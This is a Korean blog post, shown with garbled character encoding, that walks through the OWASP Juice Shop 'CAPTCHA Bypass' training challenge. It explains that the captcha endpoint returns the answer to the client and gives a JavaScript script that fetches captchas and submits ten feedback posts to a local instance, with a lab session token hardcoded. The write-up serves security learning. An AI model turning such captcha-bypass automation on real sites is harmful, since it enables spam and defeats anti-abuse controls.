๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF/OWASP Juice Shop

OWASP Juice Shop - ๋ฌธ์˜ํ•˜๊ธฐ Captcha Bypass (Broken Anti Automation)

by Janger 2023. 9. 27.
728x90
๋ฐ˜์‘ํ˜•

 

๋ฌธ์˜ํ•˜๊ธฐ ํŽ˜์ด์ง€(/contact) ๊ตฌ์„ฑ๋„

์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ํ‰์ ๊ณผ ๋Œ“๊ธ€์„ ์ž…๋ ฅ๋ฐ›๋Š”๋ฐ ํ•˜๋‹จ์— CAPTCHA ์ธ์ฆ์ด ํ•„์š”ํ•˜๋‹ค. 

 

์บก์ฑ  ์š”์ฒญ REST API ๊ตฌ์กฐ (/rest/captcha/)

 

์„œ๋ฒ„์—์„œ ๋ฏธ๋ฆฌ ์บก์ฑ ๋ฅผ ์ƒ์„ฑํ•˜๋Š” SSR ๋ฐฉ์‹์ด ์•„๋‹Œ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ํŽ˜์ด์ง€์— ๋“ค์–ด์˜ค๋ฉด ์บก์ฑ ๋ฅผ ์š”์ฒญํ•˜๋Š” CSR ๋ฐฉ์‹์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ ํด๋ผ์ด์–ธํŠธ๊ฐ€ "http://localhost:3000/rest/captcha/"๋กœ GET์„ ์š”์ฒญํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์‘๋‹ต์ด ์˜จ๋‹ค. 

{"captchaId":38,"captcha":"8*8-5","answer":"59"}

๋ณด๋‹ค์‹œํ”ผ ์บก์ฑ  ์•„์ด๋””, ๋ฌธ์ œ, ์ •๋‹ต์ด ๊ทธ๋Œ€๋กœ ์ „๋‹ฌ์ด ๋œ๋‹ค. 

 

 

์บก์ฑ  ๊ฒ€์ฆ REST API ๊ตฌ์กฐ (/api/Feedbacks/)

 

์‚ฌ์šฉ์ž๊ฐ€ ์บก์ฑ ๋ฅผ ํ’€๊ณ  ์„œ๋ฒ„๋กœ๋ถ€ํ„ฐ ์š”์ฒญ์„ ํ•  ๋•Œ๋Š” "http://localhost:3000/api/Feedbacks/" ์ฃผ์†Œ๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ณด๋‚ธ๋‹ค. 

{"UserId":22,"captchaId":35,"captcha":"27","comment":"comment (***acker@attacker.com)","rating":3}

 

์บก์ฑ ์˜ ์ •๋‹ต์„ ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ๊ทธ๋Œ€๋กœ ์ „๋‹ฌํ•˜๋Š” ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด์„œ ๋น ๋ฅด๊ฒŒ 10๋ฒˆ์„ ์บก์ฑ  ์ •๋‹ต(๋ฌธ์˜ํ•˜๊ธฐ)์„ ์ „์†กํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์งœ๋ณด์•˜๋‹ค. 

 

์ •๋‹ต ์Šคํฌ๋ฆฝํŠธ
async function send_captcha( captchaId, answer ){

  await fetch("http://localhost:3000/api/Feedbacks/", {
    "headers": {
      "accept": "application/json, text/plain, */*",
      "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
      "authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjIsInVzZXJuYW1lIjoiaGVsbG8iLCJlbWFpbCI6ImF0dGFja2VyQGF0dGFja2VyLmNvbSIsInBhc3N3b3JkIjoiM2Y4NThjZjhjZmQ1OWYyNTAxMGU3MWI2YjU2NzE0MjgiLCJyb2xlIjoiZGVsdXhlIiwiZGVsdXhlVG9rZW4iOiIxMDg1NjY4ZDQ0ZjU4NWI1YTE3OTY3ZjYyZTZjNTZkM2RlMzllMTliZWNmZmNlNmRlNTJkMmZhYmRmNzVmZmJlIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvMjIuanBnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDIzLTA5LTI2VDE3OjM2OjQ2LjY2MFoiLCJ1cGRhdGVkQXQiOiIyMDIzLTA5LTI2VDE4OjM0OjQ2LjM1NVoiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE2OTU3NTMyODZ9.lhfZaCmblr1IPRXd8XpZePBSlJbEAzravr0Z8k5KSSshF_sUjMcMqztjzNprqtxQLlrZhWjDf4wov1f723qib7Z3EPEireG392GHy5RBQkpDNjlx0uHi4OQpPRD-Gbecj_BzT4zmfNZADnDn-m00ZMpZRUv_6CGMjpCgAyErRq4",
      "content-type": "application/json",
      "proxy-connection": "keep-alive",
      "sec-ch-ua": "\"Chromium\";v=\"117\", \"Not;A=Brand\";v=\"8\"",
      "sec-ch-ua-mobile": "?0",
      "sec-ch-ua-platform": "\"Windows\"",
      "sec-fetch-dest": "empty",
      "sec-fetch-mode": "cors",
      "sec-fetch-site": "same-origin"
    },
    "referrer": "http://localhost:3000/",
    "referrerPolicy": "strict-origin-when-cross-origin",
    "body": `{\"UserId\":22,\"captchaId\":${ captchaId },\"captcha\":\"${ answer }\",\"comment\":\"comment (***acker@attacker.com)\",\"rating\":0}`,
    "method": "POST",
    "mode": "cors",
    "credentials": "include"
  });

}


async function main(){
  response = await fetch("http://localhost:3000/rest/captcha/", {
    "headers": {
      "accept": "application/json, text/plain, */*",
      "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
      "authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjIsInVzZXJuYW1lIjoiaGVsbG8iLCJlbWFpbCI6ImF0dGFja2VyQGF0dGFja2VyLmNvbSIsInBhc3N3b3JkIjoiM2Y4NThjZjhjZmQ1OWYyNTAxMGU3MWI2YjU2NzE0MjgiLCJyb2xlIjoiZGVsdXhlIiwiZGVsdXhlVG9rZW4iOiIxMDg1NjY4ZDQ0ZjU4NWI1YTE3OTY3ZjYyZTZjNTZkM2RlMzllMTliZWNmZmNlNmRlNTJkMmZhYmRmNzVmZmJlIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvMjIuanBnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDIzLTA5LTI2VDE3OjM2OjQ2LjY2MFoiLCJ1cGRhdGVkQXQiOiIyMDIzLTA5LTI2VDE4OjM0OjQ2LjM1NVoiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE2OTU3NTMyODZ9.lhfZaCmblr1IPRXd8XpZePBSlJbEAzravr0Z8k5KSSshF_sUjMcMqztjzNprqtxQLlrZhWjDf4wov1f723qib7Z3EPEireG392GHy5RBQkpDNjlx0uHi4OQpPRD-Gbecj_BzT4zmfNZADnDn-m00ZMpZRUv_6CGMjpCgAyErRq4",
      "if-none-match": "W/\"30-7viQ7Y3xjsbQxoUr1EBBZrALhTY\"",
      "proxy-connection": "keep-alive",
      "sec-ch-ua": "\"Chromium\";v=\"117\", \"Not;A=Brand\";v=\"8\"",
      "sec-ch-ua-mobile": "?0",
      "sec-ch-ua-platform": "\"Windows\"",
      "sec-fetch-dest": "empty",
      "sec-fetch-mode": "cors",
      "sec-fetch-site": "same-origin"
    },
    "referrer": "http://localhost:3000/",
    "referrerPolicy": "strict-origin-when-cross-origin",
    "body": null,
    "method": "GET",
    "mode": "cors",
    "credentials": "include"
  });


  response_json = await response.json();

  captchaId = response_json.captchaId;
  answer = response_json.answer;
  
  send_captcha( captchaId, answer );

}

for(var i=0; i<10; i++)
  main();

 

 

 

"์„ฑ๊ณต์ ์œผ๋กœ ๋„์ „๊ณผ์ œ๋ฅผ ํ’€์—ˆ์Šต๋‹ˆ๋‹ค: CAPTCHA Bypass (Submit 10 or more customer feedbacks within 20 seconds.)"

ํ‰์ ์„ 0์œผ๋กœ ์ค˜์„œ("rating":0) ๋‹ค๋ฅธ ๋„์ „๊ณผ์ œ๋„ ํ•œ ๋ฒˆ์— ํ•ด๊ฒฐํ•ด์ฃผ์ž

 

728x90
๋ฐ˜์‘ํ˜•